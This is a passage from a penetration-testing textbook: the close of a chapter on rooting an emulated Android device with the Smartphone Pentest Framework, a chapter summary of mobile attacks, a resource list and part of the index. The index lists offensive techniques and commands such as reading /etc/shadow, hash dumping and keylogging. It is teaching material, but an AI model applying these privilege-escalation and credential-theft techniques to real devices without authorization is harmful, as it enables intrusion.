needed to use Android 2.2 as our target emulator. The other malicious app examples
we have used in this chapter will work on any version of Android.
Privilege Escalation
As a forked Linux kernel, Android shares some of Linux’s privilege escalation vulnerabilities, as well as having a few security mistakes of its own. Even
OEMs have added bugs into their implementations of Android. For example,
in 2012, a privilege-escalation vulnerability was found in how Samsung
devices handled the camera memory if they used a certain kind of chip, giving attackers read/write access to all of memory.
If you want more permissions granted to your app, you can attempt to use
a known issue from the agent to get root privileges, as shown in Listing 20-27.
Commands:
--snip-Select a command to perform or 0 to return to the previous menu
spf> 5
1.) Choose a Root Exploit
2.) Let SPF AutoSelect
Select an option or 0 to return to the previous menu
spf> 2u
Try a privilege escalation exploit.
Chosen Exploit: rageagainstthecagev
Delivery Method(SMS or HTTP): HTTPw
Listing 20-27: Running a privilege-escalation exploit
From the agent commands menu, choose option 5.) Privilege Escalation.
From here we have two options. We can manually choose an exploit from
the exploits for Android that SPF knows, or we can let SPF make a selection
based on the Android version number. Our Android 2.2 emulator is vulnerable to an exploit known as Rage Against the Cage. Though this is an older
exploit, it works well on the emulator, so let’s allow SPF to automatically
select the exploit, as shown at u. Because this is Android 2.2, SPF correctly
selects rageagainstthecage v and asks for the delivery method w.
After giving the exploit a little time to run, check back with option 3
from the main menu. The Rooted field should read RageAgainstTheCage, as
shown here.
Rooted: RageAgainstTheCage
From here we have full control of the device. We can issue commands
from a root shell or reinstall the agent as a system app, giving us even more
privileges than the original app.
Using the Smartphone Pentest Framework
471
note
This particular exploit is a resource exhaustion attack, so if you want to continue
using the emulator for additional exercises, you may want to restart it, as it may perform slower after this attack.
Summary
In this chapter, we took a brief look at the relatively new and rapidly evolving
world of mobile exploitation. We used my SPF tool to run a variety of attacks,
primarily on emulated Android mobile devices. These attacks will, of course,
work on real devices in the same way. We looked at a remote attack that
checked for a default SSH password on jailbroken iPhones, and then studied
two client-side attack examples. One gave us a shell through a WebKit vulnerability in the browser, and the other remotely controlled the device through
USSD codes that were automatically dialed from a web page.
We moved on to malicious applications, backdooring legitimate source
code or compiled APK files with the SPF Android agent. We can use mobileattack vectors such as NFC and SMS to trick users into installing our malicious app. Once the agent was installed, we ran attacks such as information
gathering and remote control, and we used SPF to escalate our privileges to
root using known vulnerabilities in the Android platform. Finally, we used
the SPF agent as a pivot to attack other devices in the network. We ran
Nmap from the Android device against our Windows XP target, and then
used a C exploit for War-FTP to exploit the Windows XP target from the
SPF agent.
Mobile device security is an exciting field that is adding new dimensions
to pentesting as the devices enter the workplace. As a pentester, knowing a
bit about mobile vulnerabilities will come in handy. As attackers use these
devices to gain sensitive data and a foothold in the network, pentesters must
be able to simulate these same threats.
472 Chapter 20
Resources
Here are some resources that have helped me on my
journey through information security and continue to
serve as references as I learn more. Many are regularly
updated with the latest tools and techniques in their
area. I encourage you to refer to these resources as you
work through this book, so they are listed here by chapter. At the end of the list are some excellent courses that
you might use to further your study of pentesting.
Chapter 0: Penetration Testing Primer
•
•
NIST Technical Guide to Information Security Testing: http://csrc.nist​
.gov/publications/nistpubs/800-115/SP800-115.pdf
Penetration Testing Execution Standard (PTES): http://www.pentest​
-standard.org/
Chapter 2: Using Kali Linux
•
•
•
•
Command Line Kung Fu: http://blog.commandlinekungfu.com
Introduction to the Command Line (Second Edition): The Fat Free Guide to
Unix and Linux Commands by Nicholas Marsh (2010)
The Linux Command Line: A Complete Introduction by William E. Shotts, Jr.
(No Starch Press, 2012)
Linux for Beginners and Command Line Kung Fu (Bundle): An Introduction
to the Linux Operating System and Command Line by Jason Cannon (2014)
Chapter 3: Programming
•
•
•
Discovery: https://github.com/leebaird/discover/
Stack Overflow: http://www.stackoverflow.com/
Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers
and Security Engineers by T.J. O’Connor (Syngress, 2012)
Chapter 4: Using the Metasploit Framework
•
•
•
•
Metasploit: The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman,
Devon Kearns, and Mati Aharoni (No Starch Press, 2011)
Metasploit blog: https://community.rapid7.com/community/metasploit/blog/
Metasploit Minute show: http://hak5.org/category/episodes/metasploit-minute/
Metasploit Unleashed: http://www.offensive-security.com/metasploit-unleashed/
Main_Page
Chapter 5: Information Gathering
•
•
Google Hacking Database: http://www.hackersforcharity.org/ghdb/
Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery
and Security Scanning by Gordon Fyodor Lyon (Nmap Project, 2009;
http://nmap.org/book/)
Chapter 6: Finding Vulnerabilities
•
•
National Vulnerability Database CVSSv2: http://nvd.nist.gov/cvss.cfm/
Tenable blog: http://www.tenable.com/blog/
Chapter 7: Capturing Traffic
•
474 Resources
Counter Hack Reloaded: A Step-by-Step Guide to Computer Attacks and
Effective Defenses (2nd Edition) by Edward Skoudis and Tom Liston
(Prentice Hall, 2006)
•
•
Ettercap: http://ettercap.github.io/ettercap/
SSLStrip: http://www.thoughtcrime.org/software/sslstrip/
Chapter 8: Exploitation
•
•
•
•
Exploit Database: http://www.exploit-db.com/
Packet Storm: http://packetstormsecurity.com/
SecurityFocus: http://www.securityfocus.com/
VulnHub: http://vulnhub.com/
Chapter 9: Password Attacks
•
•
•
•
•
CloudCracker: https://www.cloudcracker.com/
John the Ripper: http://www.openwall.com/john/
Packet Storm wordlists: http://packetstormsecurity.com/Crackers/wordlists/
RainbowCrack Project: http://project-rainbowcrack.com/table.htm
White Chapel: http://github.com/mubix/WhiteChapel/
Chapter 11: Social Engineering
•
•
Social-Engineer: http://www.social-engineer.org/
TrustedSec: https://www.trustedsec.com/downloads/social-engineer-toolkit/
Chapter 12: Bypassing Antivirus Applications
•
•
Pentest Geek: http://www.pentestgeek.com/2012/01/25/
using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/
Veil-Evasion: https://github.com/Veil-Framework/Veil-Evasion/
Chapter 13: Post Exploitation
•
•
•
•
•
Chris Gates’s blog, carnal0wnage: http://carnal0wnage.attackresearch.com/
Carlos Perez’s blog: http://www.darkoperator.com/
Obscuresec blog: http://obscuresecurity.blogspot.com/
Pwn Wiki: http://pwnwiki.io/
Rob Fuller’s blog: http://www.Room362.com/
Chapter 14: Web Application Testing
•
Damn Vulnerable Web App: http://www.dvwa.co.uk/
Resources 475
•
•
Open Web Application Security Project (OWASP): https://www.owasp.org/
index.php/Main_Page
OWASP WebGoat Project: https://www.owasp.org/index.php/Category​
:OWASP_WebGoat_Project
Chapter 15: Wireless Attacks
•
•
Aircrack Wireless Tutorials: http://www.aircrack-ng.org/doku.php?id=tutorial
&DokuWiki=1b6b85cc29f360ca173a42b4ce60cc50
BackTrack 5 Wireless Penetration Testing Beginner’s Guide by Vivek
Ramachandran (Packt Publishing, 2011)
Chapters 16–19: Exploit Development
•
•
•
Corelan Team Tutorials: https://www.corelan.be/index.php/category/
security/exploit-writing-tutorials/
FuzzySecurity: http://fuzzysecurity.com/
Hacking, 2nd Edition: The Art of Exploitation by Jon Erickson (No Starch
Press, 2008)
Chapter 20: Using the Smartphone Pentest Framework
•
•
•
Damn Vulnerable iPhone App: https://github.com/prateek147/DVIA/
Drozer: https://www.mwrinfosecurity.com/products/drozer/
OWASP mobile: https://www.owasp.org/index.php/OWASP_Mobile_
Security_Project
Courses
•
•
•
•
•
476 Resources
Strategic Security (Joe McCray): http://strategicsec.com/
Offensive Security: http://www.offensive-security.com/information
-security-training/
Exploit Development Bootcamp (Peter Van Eeckhoutte): https://www​
.corelan-training.com/index.php/training-2/bootcamp/
Sam Bowne: http://samsclass.info/
SecurityTube PentesterAcademy: http://www.pentesteracademy.com/
Index
Numbers and Symbols
3Com TFTP 2.0.1
downloading and installing, 42–43
public exploit for transport mode
vulnerability, 427–429
3CTftpSvc process, attaching, 424–425
3CTftpSvc.exe, 295
7-Zip programs, 10
& (ampersand), for running commands
in browser, 328
\\ (double backslashes), for escape, 186
> symbol, for redirecting input, 61
>> operator, 61, 81
#include command (C), 84
| (pipe), 65
/ (slash), as delimiter character in
sed, 65
A
absolute path, 56
Address Resolution Protocol (ARP)
basics, 161–163
address space layout randomization
(ASLR), 364, 440
adduser command, 58–59, 309
administrative privileges
gaining to control domain, 296
for Windows 7 applications, 285
Administrator password, for
Windows, 33
Adobe Acrobat Reader, 225–226
installing, 46
Advanced Execution Standard
(AES), 269
Advanced Packaging Tool (apt), 66
Aircrack-ng
cracking WEP keys with, 347–350
cracking WPA/WPA2 keys with,
353–356
Aireplay-ng
to force client reconnection, 354
rebroadcasting ARP packets
with, 348
airmon-ng check kill command, 342
Airmon-ng script, 341–342
airodump-ng command, 342–343, 347
all users, permissions for, 62
ampersand (&), for running commands
in browser, 328
Android, 456
emulators, 449
setting up, 22–27
starting, 26–27
relationship with security
updates, 457
scripting languages vs. C code, 468
SDK manager, 23
software
building, 449–450
deploying, 450–451
installing, 24
Virtual Device Manager, 24–25
Android Master Key vulnerability, 459,
462–463
anonymous user, on Windows XP
target, 157
antivirus application avoidance,
257–275
hiding in plain sight, 274
Microsoft Security Essentials,
261–262
antivirus application avoidance
(continued)
payload hiding, 263–274
Railgun, 283
trojans, 258–259
with Veil-Evasion, 270–274
VirusTotal, 262–263
antivirus applications
how they work, 260–261
signatures for, 438
antivirus definitions, 260
Apache server
default “It Works” page, 169–170
installing, 44
APK file, 461–464
APKTool, installing, 462
appending text to file, 61
apt (Advanced Packaging Tool), 66
argument string, Perl for creating, 376
ARP (Address Resolution Protocol)
basics, 161–163
ARP cache poisoning, 160–166
with Arpspoof, 164–165
as bottleneck, 166
impersonating default gateway
with, 165–166
ARP request
generating, 349
relay attack, generating IVs with,
348–349
Arpspoof, ARP cache poisoning with,
164–165
ASLR (address space layout
randomization), 364, 440
assembly instructions, converting to
shellcode, 398–399
Atftpd TFTP server, 187
attack string, finding in memory,
408–411
Aurora exploit, 220–222
authentication, fake, 347–348
authorization, for penetration test, 3
automatic security updates
opting out, in Windows 7, 50
turning off, 34
AutoRunScript parameter, for Metasploit,
224–225
auxiliary/server/capture/smb
module, 302
awk command (sed), 66
478 Index
B
backdoored code, 458–461
testing from, 193–194
background command (Meterpreter), 311
background job, killing in
Metasploit, 222
BackTrack Linux, 55
bar codes, QR (quick response)
codes, 447
Bash command processor, 56
Bash scripts, 75–81
else statement in, 78
for loop in, 78–79
if statement in, 77–78
pinging hosts on network with, 76
running, 77
streamlining results, 79–81
then statement in, 78
.bash_history file, 295–296
BeEF (Browser Exploitation
Framework), 331–335
bind payload, 307
bind shell payload, 102–103
bind shells, 71, 98, 180
bitwise XOR operation, 344
Bkhive, 205
Blackboard, Java for, 241
BookApp custom web application
attacking, 313–337
installing, 53–54
booting
Kali Linux, 11
virtual machine delay in, 207
bootkey, 189, 205
breakpoints in program, 368
running program to next, 370
setting, 393
bridged network, for VMware
connection, 13, 14, 16, 31, 48
Browser Exploitation Framework
(BeEF), 331–335
browser_autopwn module, 235–237
browsers
& for running commands in, 328
attack for opening link in
mobile, 455
autopwning, 237
exploitation, 219–225
brute forcing, 198
LM-hashed passwords, 208
MD5 hashes, 212
NTLM-hashed passwords, 210–211
use in Hyperion, 269
WPS pin, 356–357
buffer overflow
in Linux, 364–378
preventing exploits, 439–440
in third-party software, exploiting,
190–191
War-FTP crash due to, 384
in Windows, 379–400
bugs, finding with code review, 422
Bully, cracking WPS with, 357
Burp Proxy, web application testing
with, 314–319
Burp Repeater, 314
Burp Spider, 314
C
C programs, 84–85
for Android devices, 468
causing crash, 366–367
memory use, 363–364
vulnerability to stack-based buffer
overflow, 365–366
CA (certificate authority), 171
Cadaver, 150–151, 182
Cain and Abel for Windows, 304
Cain password tool, 303
calling conventions, 390
canaries, 440
capturing traffic, 155–175. See also
Wireshark
ARP cache poisoning, 160–166
DNS cache poisoning, 167–169
networking for, 156
on wireless network, 342–343
cat command, 61
cat /etc/shadow command, 194
CCMP (Counter Mode with Cipher
Block Chaining Message
Authentication Code
Protocol), 351
cd command, 56
CERTCN option, 234
certificate, for Java applet, 234
certificate authority (CA), 171
ceWL custom wordlist generator,
200–201
check function, in Metasploit
exploits, 147–148
chmod command, 62
making script executable, 76
clients
Aireplay-ng to force
reconnection, 354
contact information for, 3
exploiting vulnerability in, 88
goals for pentest, 3
client-side attacks
exploitation with, 218–239
mobile hacking, 454–457
clipboard (Windows), stealing data
from, 334
closing
handler, 228
shell, 100
code review, finding bugs with, 422
command line arguments, in C, 84
command shell
opening listener, 70–71
pushing back to listener, 71–72
commands. See also specific commands
executing, 327–329
learning about, 57–58
Common Vulnerabilities and
Exposures (CVE)
system, 142
Common Vulnerability Scoring System
(CVSS), 140
compromised service, exploitation of,
193–194
computer name, for Windows, 33
Conficker worm, 90
configuration file
cracking passwords, 212–213
downloading, 188–189
connect function (Python), 83
connect_ex function (Python), 83
connect_udp function, 435
contact information, for client, 3
continue command (GDB), 370
copying file, 60
Counter Mode with Cipher Block
Chaining Message
Authentication Code
Protocol (CCMP), 351
cp command, 60
CPUs, registers in Intel-based,
362–363
crashes, 151
attempting with fuzzing, 424–426
causing, 382–384
in GDB, 372–373
in War-FTP, 397–398, 403
Index 479
CRC-32 (Cyclic Redundancy
Check 32), 346
CreateThread API, 271
Credential Harvester Attack Method,
251–252
credentials, 174
brute force to find, 198
for FTP server, 160
gathering, 292–294
in Nessus, 137
stealing stored, 294
cron jobs
automating tasks with, 72–73
creating, 311
crontab files, 72
cross-site request forgery (CSRF), 335
cross-site scripting (XSS), 329–335
checking for reflective
vulnerability, 330
leveraging with BeEF, 331–335
Crunch tool, 201
CSRF (cross-site request forgery), 335
Ctypes library (Python), 271
custom cross compiling, 266–269
cut command, 65, 80
CVE (Common Vulnerabilities and
Exposures) system, 142
CVE-2008-2992, 225–228
CVSS (Common Vulnerability Scoring
System), 140
Cyclic Redundancy Check 32
(CRC-32), 346
cyclical pattern, generating to
determine offset, 385–388
D
data execution prevention (DEP),
364, 441
data manipulation, in Kali Linux,
64–66
database
dumping with SQLMap, 322
exploiting access to, 188
finding name of first, 321
for SPF, 448–449
debugger, installing, 46
debugging information, for GDB, 366
default gateway, 68
ARP cache poisoning for
impersonating, 165–166
finding, 38
default payload, for Metasploit, 97
480 Index
default port, for Simple Mail Transfer
Protocol (SMTP), 124
delegation token, 300–301
deleting
files, 60
final character from each line, sed
command for, 81
demilitarized zone, 304
denial-of-service (DoS) condition, 163
DEP (data execution prevention),
364, 441
deploying Android application, 450–451
Destination Host Unreachable message, 39
/dev/urandom file (Linux), 267
DHCP (dynamic host configuration
protocol), 68
dictionary attack, against WPA/
WPA2, 356
dictionary words, in passwords, 198
directories
changing, 56–57
creating, 60
displaying current, 56
disass command (GDB), 370–371
DNS. See Domain Name System (DNS)
DNS cache poisoning, 167–169
Dnsspoof, 169
documentation, 57. See also man pages
domain
adding administrator account, 309
getting administrative access to, 296
setup for simulating, 39–40
users, password hashes for, 302
Domain Name System (DNS)
reconnaissance, 116–118
zone transfers, 117–118
domain names, resolution, 167
domain registrars, 115
DoS (denial-of-service) condition, 163
double backslashes (\\), for escape, 186
downloading
3Com TFTP 2.0.1, 42–43
Kali Linux, 10
payload by users, 105
sensitive files, 188–189
SLMail 5.5, 41–42
Smartphone Pentest Framework
(SPF), 27–28
with TFTP, 187–188
War-FTP, 46
Windows SAM, 189
WinSCP, 46
dpkg command, 18
dual-homed systems, 304
dynamic analysis, 261
dynamic host configuration protocol
(DHCP), 68
E
EAX register, 362, 403
EBP register, 362, 363, 369, 390
EBX register, 362
echo command, 61, 76
ECX register, 363
EDI register, 362, 390
editing files, 62–64
EDX register, 363
EIP register, 362, 363
controlling, 373–375
locating, 384–388
verifying offset, 388–389, 390
else statement, in Bash scripts, 78
email
searching for addresses, 118–119
social-engineering attacks
with, 244
emulator, Android, 449
setting up, 22–27
starting, 26–27
encoders, 263–266
encryption key, for Syskey utility, 189
end, in Ruby, 434
endianness, 376–378, 394
enterprise connection process, in
WPA/WPA2, 351
escape, double backslashes (\\)
for, 186
ESI register, 362
ESP register, 362, 363, 390–391
following on stack, 408–409
/etc/crontab file, 72–73, 311
/etc/john/john.conf file, 212
/etc/network/interfaces file, 68–69
/etc/proxychains.conf configuration
file, 307
Ettercap
installing, 22
for man-in-the-middle attacks, 171
exceptions. See structured exception
handler
executables
embedded in PDF, 228–229
Hyperion for encrypting, 269–270
using return address from, 394
execute (x) permissions, 62
execution
hijacking as goal, 373
hijacking in Linux, 375–376
hijacking in Windows, 390–395
executive summary of report, 5
exploit code, repositories of, 88
exploit command (Metasploit), 97
Exploit Database, 88, 427
exploit target, for Metasploit, 95
exploit/multi/browser/java_signed_applet
module, 233–234
exploitation, 179–196
of buffer overflow in third-party
software, 190–191
with client-side attacks, 218–239
of compromised service, 193–194
with Java, 230–235
mitigation techniques, 439–442
of MS08-067 vulnerability,
180–182
of open NFS shares, 194–196
phase of penetration testing, 2, 4
of phpMyAdmin, 186–188
running through pivot, 306–307
of third-party web applications,
191–193
of WebDav default credentials,
182–183
Exploit::Remote::UDP mixin, 435
exploits
porting public, 427–432
replacing shellcode, 430
running, 100
running through SPF agent, 468
with SEH overwrites, 403–407
writing, 361
exploit/windows/fileformat/adobe_pdf_
embedded_exe module, 228
exploit/windows/fileformat/adobe_utilprintf
module, 226
exploit/windows/fileformat/winamp_maki_
bof module, 238
exploit/windows/local/ms11_080_
afdjoinleaf module, 284
exploit/windows/smb/psexec module, 296
exploit/windows/tftp/tftpd32_long_
filename.rb module, 435
external penetration test, 2
Ez7z program, 10
Index 481
482 Index
F
G
Facebook, 172
factory restore, 456
fake authentication, 347–348
file permissions, 61–62
filename for exploit, random
characters for, 438
files
adding text, 61
copying, moving, and removing, 60
creating, 60
editing, 62–64
searching for text in, 65
sending script results to, 81
viewing list of, 18
FileZilla server.xml configuration file,
188–189
FileZilla services, installing, 44
filters, bypassing with Metasploit
payloads, 216–218
finding
attack string in memory, 408–411
compatible payloads, 96–97
return address, 429–430
valid usernames, 153
firewalls, intrusion-detection and
prevention systems on, 125
folders, sharing via FTP, 45
for loop, in Bash scripts, 78–79
formats, for Nmap log, 125
four-way handshake, 351, 352–353
capturing, 354
Wireshark for viewing, 355
Framework Android App, 451
FSTENV instruction, 398
FTP account, default password for, 213
FTP server
access to file on, 146–147
exploiting stack-based buffer
overflow in, 379–380
logging in to, 157, 165
FTP user, adding, 45
futuresoft_transfermode.rb module,
432–434
fuzzing, 421–426
attempting crash, 424–426
finding bugs with code review, 422
for trivial FTP server, 422–423
GCC (GNU Compiler Collection), 84,
289, 366
gcc command, 289
GDB (GNU debugger), 366
crashing program in, 372–373
running, 367–372
viewing source code, 368
getsystem command (Meterpreter),
283–286
getuid command (Meterpreter), 185,
279, 281
GNU Compiler Collection (GCC), 84,
289, 366
GNU debugger. See GDB (GNU
debugger)
Google Play apps, signature for, 462
Google search, on vulnerability, 142
GoToMeeting, Java for, 241
grep command, 65
filtering script output, 80
greppable Nmap, 125
group, permissions for, 62
group transient key (GTK), 352
H
handler, closing, 228
Hardware dialog, 31
hashdump command (Meterpreter), 204,
205, 298
hashes
converting to plaintext, 203
for domain users, 302
dumping with physical access,
206–208
example, 211
LM vs. NTLM algorithms, 208
rainbow table for precompleted, 213
recovering from Windows SAM
files, 204–206
reversing, 203, 298
heap in memory, 362
“Hello World” C program, 84
help
for Meterpreter commands, 278
for Msfcli, 101
for Msfconsole, 89–90
help upload command (Meterpreter), 279
hidden directories, ls command to
show, 57–58
hook.js script (BeEF), 332–333
host utility for DNS queries, 117
host-only network, 13, 117
HTML, for attack email, 254
HTTP GET request, capture by Burp
Proxy, 316
HTTP payload, 217–218
exploiting Java vulnerability with,
231–232
HTTPS, 174
payloads, 217–218
hub, and traffic capture, 156
Hydra, guessing usernames and
passwords with, 202–203
Hyperion
encrypting executables with,
269–270
installing, 21, 270
I
Iceweasel browser, proxy configuration,
315–316
ICMP (Internet Control Message
Protocol) message, 76
if statement
Bash, 77–78
C, 84
Python, 83
ifconfig command, 16, 67, 304–305
IIS (Internet Information Services),
user privileges, 329
Immunity Debugger, 381–382
installing, 46–47
#include command (C), 84
Incognito tool, 301–302
incoming connection, listening on port
for, 70
info command (Metasploit), 92–93
information-gathering phase of
penetration testing, 2, 4,
113–132
local, 291–296
on mobile device, 464–465
open source intelligence (OSINT),
114–123
initialization vector (IV), 344
generating with ARP request relay
attack, 348–349
inline payloads, 181
input, > symbol for redirecting, 61
input function (Python), 82
insert mode for vi, 64
installed packages, managing, 66
installing
3Com TFTP 2.0.1, 42–43
Adobe Acrobat Reader, 46
Android emulators, 22–27
Apache, 44
APKTool, 462
debugger, 46
Ettercap, 22
FileZilla services, 44
Hyperion, 21, 270
Immunity Debugger, 46–47
Java 7 Update 6, 52
Microsoft Security Essentials, 52
Ming C Compiler, 20
Mona, 47
Mozilla Firefox, 52
MySQL, 44
Nessus, 17–20
Python, 46
SLMail 5.5, 41–42
Smartphone Pentest Framework
(SPF), 27–28
Veil-Evasion, 21
VMware, 9–10
vulnerable software, 40–47
War-FTP, 46
Winamp version 5.55, 52
WinSCP, 46
XAMPP 1.7.2, 43–45
Intel-based CPU registers, 362–363
internal penetration test, 2
Internet access, testing for Kali
Linux, 17
Internet Control Message Protocol
(ICMP) message, 76
Internet Explorer, vulnerability,
220–222
Internet Information Services (IIS),
user privileges, 329
Internet Protocol (TCP/IP) Properties
dialog, 39
iOS, approach to preventing malicious
code, 441
IP address, 67–68
DNS mapping to, 167–168
mapping to MAC address, 161
setting static, 38–39
verifying, 16
IP forwarding, 163–164
ipconfig command, 38
output from, 328
Index 483
iPhone
default SSH login, 453–454
jailbreaking, 219, 441
running application on, 441
IV (initialization vector), 344
generating with ARP request relay
attack, 348–349
iwconfig command, 340–341
iwlist wlan0 scan command, 341
J
Java, signed Applet, 233–235
Java 7 Update 6, installing, 52
Java Applet Attack Method, 250
Java Runtime Environment (JRE), 230
java/meterpreter/reverse_http payload, 231
JMP ESP instruction, 392
finding in USER32.dll, 429
reliance on location, 440
John the Ripper tool, 210–211, 303
wordlists, 200, 212
JRE (Java Runtime Environment), 230
K
Kali Linux, 55–73
booting, 11
command line, 56
data manipulation in, 64–66
GUI, 13
opening virtual machine, 11
repository of exploit code, 288
running Android emulators, 27
setup, 10–28
starting Burp Suite in, 314
testing Internet access for, 17
user privileges, 58–61
kaliinstall script, 28
keyscan_dump command
(Meterpreter), 292
keyscan_start command
(Meterpreter), 292
key-scheduling algorithm, in WEP, 345
keyspace brute-forcing, 201
kill command (Metasploit), 222
Kismet, 356
L
LAN manager (LM) password
hashes, 208
insecurity of, 209
lateral movement, 296–304
484 Index
Incognito tool, 301–302
PSExec technique, 296–297
SMB capture, 302–304
SSH Exec, 299–300
token impersonation, 300–301
LHOST, 99–100
setting, 184
setting in Msfvenom, 104
license key, for Windows, 32
Linksys WRT54G2, web interface, 340
Linux. See also Kali Linux, Ubuntu 8.10
target machine
adding code to /tmp/run file,
290–291
copying and compiling exploit,
289–290
cracking passwords, 212
filesystem, 56–57
finding an exploit, 288–289
finding a vulnerability, 287–288
learning kernel version, 287
stack-based buffer overflow in,
361–378
udev privilege escalation, 287–291
VMware Player for, 9–10
listener
pushing command shell back to,
71–72
setup on Kali Linux, 290
list_tokens command
(Meterpreter), 301
little-endian architecture, 377
LM (LAN manager) password
hashes, 208
insecurity of, 209
load command (Meterpreter), 301
local file inclusion, 324–327
local information gathering, 291–296
local privilege escalation, 283–291
for Windows, 284–285
Local Security Authority Subsystem
Service (LSASS)
process, 214
local users, listing all, 294
login screen
for Kali Linux, 12
of web application, SQL injection
issues in, 319–320
LPORT option, 216
ls command, 18, 56
man page for, 57
LSASS (Local Security Authority
Subsystem Service), 214
lsb_release command, 287
M
MAC (Media Access Control) address,
mapping IP address to, 161
MAC filtering, by access points, 350
Mac OS, and VMware Fusion, 10, 16,
31–32, 36
mail servers
for delivering attack email, 248–249
valid usernames for, 153
main function, 84
malicious code, asking users to
allow, 233
Maltego, 119–123
malware, techniques to avoid detection,
257–275
man-in-the-middle attacks, 160–161
Ettercap for, 22, 171
man ls command, 57
man pages, 57–58
mandatory code signing, 219, 441–442
manual port scanning, 124
mapping IP address, to MAC
address, 161
mass email attacks, 253–255
MD5 collision attack, 260
MD5 hash
brute forcing, 212
checking for trojans with, 260
md5sum program, 260
MDM (Mobile Device
Management), 466
Media Access Control (MAC) address,
mapping IP address to, 161
memory
content display options, 369
finding attack string in memory,
408–411
theory of, 362–364
memory address, byte order in, 376
message integrity code (MIC), 353
Metasm utility, 398–399
Metasploit
adding route in, 305–306
auxiliary module and exploit
database, 91
exploit check functions, 147–148
killing background job in, 222
modules, 89, 281–283. See also
specific modules
advanced parameters, 223–225
auxiliary, 107–108
database, 90–91
finding, 90–94
MS08-067, 90
post-exploitation, 281–283
scanner, 146–147
setting options, 94–96
verifying format
specifications, 438
writing, 432–439
Msfconsole for, 89
payloads, 96–98
bypassing filters with, 216–218
port scanners in, 306
search function, 91–94
starting, 88–90
support for encoders, 263
test run, 97–98
updating, 108
Metasploit Browser Exploit Method, 250
Meterpreter, 181–182
help for commands, 278
keylogger, 292
for post-exploitation, 278–280
scripts, 280–281
searching for files with, 291–292
session, 98
maintaining, 222
placing in background, 311
running scripts in, 223
shell command for dropping out
of, 287
upload command, 279
MIC (message integrity code), 353
Michael, MAC algorithm, 350
Microsoft Security Essentials, 261–262
installing, 52
non-detection of malware, 270
Microsoft Windows. See Windows
Ming C Compiler, installing, 20
Mingw32 cross compiler, 268
Mitnick, Kevin, 243
mkdir command, 60, 207
mobile browser, attack for opening link
in, 455
Mobile Device Management
(MDM), 466
Index 485
mobile hacking, 445–472
client-side attacks, 454–457
malicious apps, 458–463
near field communication (NFC),
446–447
pivoting through devices, 466–470
port scanning with Nmap, 467–468
privilege escalation, 471
remote attacks, 453–454
remote control, 465–466
with text messages, 446
Mobile Safari, 219
Mode field in TFTP, 423
modules. See Metasploit: modules
Mona
finding pattern offsets in, 387–388
generating cyclical pattern in,
385–388, 405
installing, 47
running SEH command in, 413
!mona findmsp command (Immunity
Debugger), output, 390
mona pattern_create command (Immunity
Debugger), 404–405
mona.py file, downloading, 46
moving files, 60
Mozilla Firefox, installing, 52
MS08-067 vulnerability, 180–182
Msfcli (command line interface), 89,
101–103
showing options, 101–102
SPF to interface with, 453
Msfconsole, 89
handler for catching payload, 185
help command for, 89–90
setting up handler, 469
Msftidy tool, 438
msfupdate command, 108, 225, 438
Msfvenom, 258–259
creating standalone payloads with,
103–107
encoders, 264
generating shellcode, 273–274,
396, 428
multiencoding with, 265
output format for, 104–105
prebuilt templates for detection
signatures, 266
serving payloads, 105, 183–185
multi/handler module, 105–107, 227, 469
multi/ssh/sshexec module, 299
multipronged attacks, 255
486 Index
command, 60
MySQL
database, for SPF, 447
installing, 44
server, privileges, 186
mv
N
nano (file editor), 62–63
NAT (network address translation), 13
National Institute of Standards and
Technology (NIST), 141
near field communication (NFC),
446–447
negative feedback, 173–174
Nessus (Tenable Security), 134–142
credentials in, 137
detailed information on
vulnerability, 140
exporting results, 141–142
installing, 17–20
login screen, 20–22, 135
Policies tab, 134–138
rankings, 140–141
scanning with, 138–140
starting, 18
net command (Windows), 294–295
net localgroup command (Windows),
295, 309
net use command (Windows), 303
net user command (Windows), 309
net users command (Windows),
294–295
Netcat tool
to check for listening port, 70
connecting to port with, 152
for file transfer, 72
for SMTP port connection, 124
for TCP/IP connections, 69–72
Netcraft, 114–115
netstat command, 69
network
for capturing traffic, 156
connecting virtual machine to,
16–17
managing, 67–69
viewing connections, 69
network adapter
changing settings, 15
configuring for Windows XP, 31
network address translation (NAT), 13
Network File System (NFS), 144–145
exploitation of open shares, 194–196
network interface, 67
adding second, 52
network mask, 68
NFC (near field communication),
446–447
NFS (Network File System), 144–145
exploitation of open shares, 194–196
Nikto, 149
NIST (National Institute of Standards
and Technology), 141
Nmap port scanning, 125–131
for mobile devices, 467–468
running through ProxyChains, 308
scanning a specific port, 130–131
SYN scan, 125–127
UDP scan, 128–130
version scan, 127–128
Nmap Scripting Engine (NSE),
142–144
default scripts output, 143–144
running single script, 144–146
nondisclosure agreement, 4
NOP sled, 428–429
NSE. See Nmap Scripting Engine (NSE)
nslookup, 116–117, 167
NT LAN Manager (NTLM) hash, for
password hash, 208
cracking with John the Ripper,
210–211
O
offset
generating cyclical pattern to
determine, 385–388
verifying, 388–389, 390
Opcode field, in TFTP, 423
open relay, 249
open source intelligence (OSINT), 4
DNS reconnaissance, 116–118
Maltego, 119–123
Netcraft, 114–115
port scanning, 123–131
searching for email addresses,
118–119
whois lookups, 115–116
Open Sourced Vulnerability Database
(OSVDB), 149
Open Web Application Security Project
(OWASP), 335
open wireless network, 343
OSINT. See open source intelligence
OSVDB (Open Sourced Vulnerability
Database), 149
output format, for Msfvenom, 104–105
overflowtest.c file, functions in, 375
OWASP (Open Web Application
Security Project), 335
owner, permissions for, 62
P
pack method (Ruby), 435
packages, managing installed, 66
Packet Storm Security, 88
pairwise master key (PMK), in WPA/
WPA2, 352
pairwise transient key (PTK), 352
pass the hash technique, 298–299
passphrase, for WPA or WPA2, 353
password attacks, 197–214
offline, 203–213
online, 198–203
password hashes
converting to plaintext, 203
for domain users, 302
dumping with physical access,
206–208
example, 211
LM vs. NTLM algorithms, 208
recovering from Windows SAM file,
204–206
reversing, 203, 298
passwords
cracking with John the Ripper, 210
cracking Linux, 212
default root for SSH, 453
dumping plaintext with WCE,
213–214
guessing with Hydra, 202–203
lists of, 199–201
managing, 197–198
for Nessus, 20
online services for cracking, 213
recovering MD5 hashes, 188
saving, 293
setting in Windows 7 target
machine, 49
setting in Windows XP, 37
strong, 198
system hashes, 194
use of same on multiple systems, 296
PATH environmental variable, 77
pattern matching, with awk, 66
Index 487
paused process, Immunity Debugger
and, 381–382
payloads, 180–181
avoiding special characters, 396
creating standalone with Msfvenom,
103–107
handler for, 227
